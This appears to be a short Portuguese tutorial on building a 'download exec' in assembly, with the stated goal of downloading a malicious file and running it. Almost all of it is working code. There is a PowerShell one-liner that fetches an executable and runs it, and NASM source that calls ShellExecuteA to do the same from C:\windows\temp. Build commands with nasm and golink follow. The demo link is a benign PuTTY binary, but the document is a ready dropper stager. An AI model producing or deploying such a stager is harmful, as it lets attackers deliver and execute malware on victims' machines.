Criando um Download Exec em Assembly

+ A ideia é baixar um arquivo malicioso e executá-lo

```
C:\Users\catulo\Desktop>powershell -Command wget
https://the.earth.li/~sgtatham/putty/0.73/w64/putty.exe
-OutFile teste.exe ; c:\users\catulo\desktop\teste.exe
```

→ esse comando baixa o arquivo presente no link, salva em teste.exe e o executa

----------aqv.txt----------

```
extern _ShellExecuteA
global _main

section .data
	tipo db "open",0
	cmd db "cmd",0
	param db "/c powershell -Command wget 'https://the.earth.li/~sgtatham/putty/0.73/w64/putty.exe' -OutFile
c:\windows\temp\teste.exe ; c:\windows\temp\teste.exe",0
section .text
_main:
	push 0
	push 0
	push param
	push cmd
	push tipo
	push 0
	call _ShellExecuteA
```

```
nasm -f win32 aqv.txt
```

```
golink /entry _main aqv.obj Shell32.dll /mix
```

```
aqv.exe
```
